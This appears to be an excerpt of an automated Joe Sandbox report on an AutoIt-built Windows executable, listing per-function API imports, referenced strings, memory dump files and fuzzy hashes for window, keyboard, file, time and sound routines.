GetTextFaceW.GDI32 ref: 00007FF697BD54B3
GetDeviceCaps.GDI32 ref: 00007FF697BD54C0
DeleteDC.GDI32 ref: 00007FF697BD54CB
CreateFontW.GDI32 ref: 00007FF697BD5530
SendMessageW.USER32 ref: 00007FF697BD5546
CreateWindowExW.USER32 ref: 00007FF697BD55A8
SendMessageW.USER32 ref: 00007FF697BD55C6
SendMessageW.USER32 ref: 00007FF697BD55DE
CreateWindowExW.USER32 ref: 00007FF697BD563B
GetStockObject.GDI32 ref: 00007FF697BD564B
SendMessageW.USER32 ref: 00007FF697BD5661
ShowWindow.USER32 ref: 00007FF697BD5671

Strings

DISPLAY, xrefs: 00007FF697BD5473
A, xrefs: 00007FF697BD5629
AutoIt v3, xrefs: 00007FF697BD53C5
static, xrefs: 00007FF697BD5463, 00007FF697BD5622
msctls_progress32, xrefs: 00007FF697BD558C

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2439800395
Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction ID: 02796abe5fb3a04a9a77aea0c84bf4b57cd85d97b0777f910d44e57388bce743
Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction Fuzzy Hash: BFE16E7AA086818BE764DF25E84066A7BA1FB89BD4F504135DB4E83B68CF7CE455CB00

Function 00007FF697B64514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF697B6452F
FindWindowW.USER32 ref: 00007FF697BAA812
IsIconic.USER32 ref: 00007FF697BAA81E
ShowWindow.USER32 ref: 00007FF697BAA830
SetForegroundWindow.USER32 ref: 00007FF697BAA839
GetWindowThreadProcessId.USER32 ref: 00007FF697BAA84C
GetCurrentThreadId.KERNEL32 ref: 00007FF697BAA854
GetWindowThreadProcessId.USER32 ref: 00007FF697BAA862
AttachThreadInput.USER32 ref: 00007FF697BAA878
AttachThreadInput.USER32 ref: 00007FF697BAA886
AttachThreadInput.USER32 ref: 00007FF697BAA894
SetForegroundWindow.USER32 ref: 00007FF697BAA89D
MapVirtualKeyW.USER32 ref: 00007FF697BAA8B2
keybd_event.USER32 ref: 00007FF697BAA8C3
MapVirtualKeyW.USER32 ref: 00007FF697BAA8CD
keybd_event.USER32 ref: 00007FF697BAA8DF
MapVirtualKeyW.USER32 ref: 00007FF697BAA8E9
keybd_event.USER32 ref: 00007FF697BAA8FA
MapVirtualKeyW.USER32 ref: 00007FF697BAA904
keybd_event.USER32 ref: 00007FF697BAA916
SetForegroundWindow.USER32 ref: 00007FF697BAA91F
AttachThreadInput.USER32 ref: 00007FF697BAA93C
AttachThreadInput.USER32 ref: 00007FF697BAA94A
AttachThreadInput.USER32 ref: 00007FF697BAA958

Strings

Shell_TrayWnd, xrefs: 00007FF697BAA80B

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction ID: 4204aeec9d52017cba99423edf559057d94cda20379174110bc5bbcae61bcd9a
Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction Fuzzy Hash: E7417339B0861283F7346F26A81873A22D1FF8AFD1F555075D90AC7B58DE3DA84A9310

Function 00007FF697B4183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF697B418EA
DeleteObject.GDI32 ref: 00007FF697B4194E
DeleteObject.GDI32 ref: 00007FF697B41956
DestroyIcon.USER32 ref: 00007FF697B4195E
DestroyWindow.USER32 ref: 00007FF697B41966
ImageList_Destroy.COMCTL32 ref: 00007FF697B89C2A
MoveWindow.USER32 ref: 00007FF697B8A15B
SendMessageW.USER32 ref: 00007FF697B8A18F
SendMessageW.USER32 ref: 00007FF697B8A1AD
ImageList_Destroy.COMCTL32 ref: 00007FF697B8A1C2
ImageList_Destroy.COMCTL32 ref: 00007FF697B8A1D1

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction ID: 16877db550bad3dd46fdc567815edaacb9d221051624fe138b55e0b699fda728
Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction Fuzzy Hash: 13229C32A09A8786EB749F25D4543BD27A2FF86BD4F5441B2CA5E87698DE3CE481D300

Function 00007FF697B6F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B6FC46
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B6FE69
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B70183
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B70396
memcpy_s.LIBCMT ref: 00007FF697B705D1
memcpy_s.LIBCMT ref: 00007FF697B70664
memcpy_s.LIBCMT ref: 00007FF697B70818
memcpy_s.LIBCMT ref: 00007FF697B709F2
memcpy_s.LIBCMT ref: 00007FF697B70AE7
memcpy_s.LIBCMT ref: 00007FF697B70B1F
memcpy_s.LIBCMT ref: 00007FF697B70BB6
memcpy_s.LIBCMT ref: 00007FF697B70CC7
memcpy_s.LIBCMT ref: 00007FF697B70D6F
memcpy_s.LIBCMT ref: 00007FF697B70DB5
memcpy_s.LIBCMT ref: 00007FF697B70FF1
memcpy_s.LIBCMT ref: 00007FF697B71060
memcpy_s.LIBCMT ref: 00007FF697B7109E
memcpy_s.LIBCMT ref: 00007FF697B71148
memcpy_s.LIBCMT ref: 00007FF697B7136C
memcpy_s.LIBCMT ref: 00007FF697B7155C

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID:
API String ID: 2880407647-0
Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction ID: 4bd15507478c5d04d00e799e74cebdc107db11897aa322f7de9b6eff8becff94
Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction Fuzzy Hash: 5A039272A081C28BDB758F299540BF937A5FB957CCF401175DB09ABF99DF38AA048B40

Function 00007FF697BEC6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF697BEC876
SendMessageW.USER32 ref: 00007FF697BEC88E
SendMessageW.USER32 ref: 00007FF697BEC8B6
SendMessageW.USER32 ref: 00007FF697BEC8CE
CharNextW.USER32 ref: 00007FF697BEC903
SendMessageW.USER32 ref: 00007FF697BEC91B
SendMessageW.USER32 ref: 00007FF697BEC950
SendMessageW.USER32 ref: 00007FF697BEC971
GetMenuItemInfoW.USER32 ref: 00007FF697BEC9E1
SetMenuItemInfoW.USER32 ref: 00007FF697BECA06
DrawMenuBar.USER32 ref: 00007FF697BECA13
SendMessageW.USER32 ref: 00007FF697BECA53
InvalidateRect.USER32 ref: 00007FF697BECA78
SetWindowTextW.USER32 ref: 00007FF697BECB01
SendMessageW.USER32 ref: 00007FF697BECB71
SendMessageW.USER32 ref: 00007FF697BECBE3
SendMessageW.USER32 ref: 00007FF697BECC3D
SendMessageW.USER32 ref: 00007FF697BECCC3
SendMessageW.USER32 ref: 00007FF697BECD2E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
String ID:
API String ID: 1015379403-0
Opcode ID: c223660f41613faab48e644fda56d4534d60a7471830602c41769a8e954ea874
Instruction ID: 166254a0191d351b6daab94dd04c33fb0aecec17ce2e5e47b175f6672aee09dd
Opcode Fuzzy Hash: c223660f41613faab48e644fda56d4534d60a7471830602c41769a8e954ea874
Instruction Fuzzy Hash: D702AF32A0868A85EB709F25D8446BD27A1FF86BD4F4442B1DA5E87BDCCF3CE5458780

Function 00007FF697BD206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF697BD2094
LoadCursorW.USER32 ref: 00007FF697BD20A5
LoadCursorW.USER32 ref: 00007FF697BD20B6
LoadCursorW.USER32 ref: 00007FF697BD20C7
LoadCursorW.USER32 ref: 00007FF697BD20D8
LoadCursorW.USER32 ref: 00007FF697BD20E9
LoadCursorW.USER32 ref: 00007FF697BD20FA
LoadCursorW.USER32 ref: 00007FF697BD210B
LoadCursorW.USER32 ref: 00007FF697BD211C
LoadCursorW.USER32 ref: 00007FF697BD212D
LoadCursorW.USER32 ref: 00007FF697BD213E
LoadCursorW.USER32 ref: 00007FF697BD214F
LoadCursorW.USER32 ref: 00007FF697BD2160
LoadCursorW.USER32 ref: 00007FF697BD2171
LoadCursorW.USER32 ref: 00007FF697BD2182
LoadCursorW.USER32 ref: 00007FF697BD2193
GetCursorInfo.USER32 ref: 00007FF697BD21A8
GetLastError.KERNEL32 ref: 00007FF697BD21E9

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction ID: 91f882227db561cbebd801bedf560f7692e2b98aab739f84fa5b02dcbabed1f3
Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction Fuzzy Hash: 40515036B0CB028AEB549F64F4582BD33A1EF4AB85F154479DA0EC3788DE7CE4568344

Function 00007FF697B8529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF697B852E5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B8595E
memcpy_s.LIBCMT ref: 00007FF697B8630B
memcpy_s.LIBCMT ref: 00007FF697B863B2

Part of subcall function 00007FF697B71C28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B71C5A

memcpy_s.LIBCMT ref: 00007FF697B8647B

Part of subcall function 00007FF697B7B2C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7B2E9

Strings

1#IND, xrefs: 00007FF697B864F6
1#QNAN, xrefs: 00007FF697B86534
1#INF, xrefs: 00007FF697B86553
1#SNAN, xrefs: 00007FF697B86515

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction ID: 38e53258e7d286860cb911fd8bf54b929c0567361308dab95f3d235598b14ce2
Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction Fuzzy Hash: 25B2B172A082838BE7758F69D440AFD37A5FB863CCF545175DA1A97B89DF38E5048B00

Function 00007FF697B45F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

P, xrefs: 00007FF697B45F65

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
Instruction ID: d057f6001ef9851e5f3bc8f47cd23d141201669d8b47174e14af10f4261ddd14
Opcode Fuzzy Hash: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
Instruction Fuzzy Hash: D1A1A272A0864286F734DF25D4442A9B7A1FF86BC8F5481B5EA5E83A98CF7CE545C700

Function 00007FF697B82400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF697B8243E

Part of subcall function 00007FF697B81BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B81BF4

_get_daylight.LIBCMT ref: 00007FF697B8242D

Part of subcall function 00007FF697B81C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B81C54

_get_daylight.LIBCMT ref: 00007FF697B82673
_get_daylight.LIBCMT ref: 00007FF697B82684
_get_daylight.LIBCMT ref: 00007FF697B82695
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B828F5), ref: 00007FF697B826BC
WideCharToMultiByte.KERNEL32 ref: 00007FF697B82752
WideCharToMultiByte.KERNEL32 ref: 00007FF697B8279E

Strings

:, xrefs: 00007FF697B82534
-, xrefs: 00007FF697B82503
?, xrefs: 00007FF697B82791
:, xrefs: 00007FF697B8255E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
String ID: -$:$:$?
API String ID: 3440502458-92861585
Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction ID: 3865bf21d1dc23b2053edbac72fb2f469f43f33d9824087ecb13909bbd653940
Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction Fuzzy Hash: D5E1C032A086878AE7349F3598516FE27A1FF867D4F445175EA4EC2A99DF3CE8428700

Function 00007FF697BC72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF697BC72E8
FindClose.KERNEL32 ref: 00007FF697BC731A
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF697BC7359
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF697BC7381
FileTimeToSystemTime.KERNEL32 ref: 00007FF697BC73B3
FileTimeToSystemTime.KERNEL32 ref: 00007FF697BC73E3

Strings

%02d, xrefs: 00007FF697BC7519
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF697BC747E
%03d, xrefs: 00007FF697BC76CF
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00007FF697BC7441
%4d, xrefs: 00007FF697BC74C3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3232708057-3289030164
Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction ID: 0af469e87d9b482236f911fd9c584126acfdb3032b2a3c8511ece3dcb12a58ab
Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction Fuzzy Hash: DAD1B332B18A5695EB20EF65E4411FE6761FB81BD4F804172EA4D87AAEDF7CD208C700

Function 00007FF697BCA350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF697BCA390
GetFileAttributesW.KERNEL32 ref: 00007FF697BCA3CE
SetFileAttributesW.KERNEL32 ref: 00007FF697BCA3E5
FindNextFileW.KERNEL32 ref: 00007FF697BCA3FA
FindClose.KERNEL32 ref: 00007FF697BCA407
FindClose.KERNEL32 ref: 00007FF697BCA424
FindFirstFileW.KERNEL32 ref: 00007FF697BCA43D
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BCA489
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BCA4B0
FindNextFileW.KERNEL32 ref: 00007FF697BCA4BE
FindClose.KERNEL32 ref: 00007FF697BCA4CD

Strings

*.*, xrefs: 00007FF697BCA436

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction ID: 194fc702e9487f0de8900fbd8b9ff5a831b4adda08343150d5d2a424690946bb
Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction Fuzzy Hash: 6A417035A0864294EF20AF19E8542B963A1FF46BE5F8481B1DD6E876DCDF3CD40AD700

Function 00007FF697BBD87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM ref: 00007FF697BBD8F5
mciSendStringW.WINMM ref: 00007FF697BBD913
mciSendStringW.WINMM ref: 00007FF697BBD92B
mciSendStringW.WINMM ref: 00007FF697BBD949
mciSendStringW.WINMM ref: 00007FF697BBD967

Strings

play PlayMe, xrefs: 00007FF697BBD960
close PlayMe, xrefs: 00007FF697BBD907, 00007FF697BBD952
open , xrefs: 00007FF697BBD894
status PlayMe mode, xrefs: 00007FF697BBD8EE
play PlayMe wait, xrefs: 00007FF697BBD942
alias PlayMe, xrefs: 00007FF697BBD8CF

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction ID: 88b0e64e01218b617c1fc2b1c7622089ebf1c54d9bc80331d2a2d7a7ac8037ca
Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction Fuzzy Hash: BD214136B1895391F730DF24E89566A6731FF95B88F8040B1D98D8395DDE2CE505C740

Function 00007FF697BB7E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF697BB7F01
SetKeyboardState.USER32 ref: 00007FF697BB7F58
GetAsyncKeyState.USER32 ref: 00007FF697BB7F7E
GetKeyState.USER32 ref: 00007FF697BB7F93
GetAsyncKeyState.USER32 ref: 00007FF697BB7FC2
GetKeyState.USER32 ref: 00007FF697BB7FD2
GetAsyncKeyState.USER32 ref: 00007FF697BB8001
GetKeyState.USER32 ref: 00007FF697BB8011
GetAsyncKeyState.USER32 ref: 00007FF697BB8040
GetKeyState.USER32 ref: 00007FF697BB8050
GetAsyncKeyState.USER32 ref: 00007FF697BB807F
GetKeyState.USER32 ref: 00007FF697BB808F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction ID: dcf7b9225903e887d6a691f30bca3a9b6d8d3ecf052879eb5fa30e339ac96b18
Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction Fuzzy Hash: 9571D637A0C2C185FB348F3490802BA2B61EF47BC4F5900B9DA8D8369ACE6DF945C765

Function 00007FF697BCA4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF697BCA530
FindNextFileW.KERNEL32 ref: 00007FF697BCA588
FindClose.KERNEL32 ref: 00007FF697BCA595
FindClose.KERNEL32 ref: 00007FF697BCA5B3
FindFirstFileW.KERNEL32 ref: 00007FF697BCA5CC
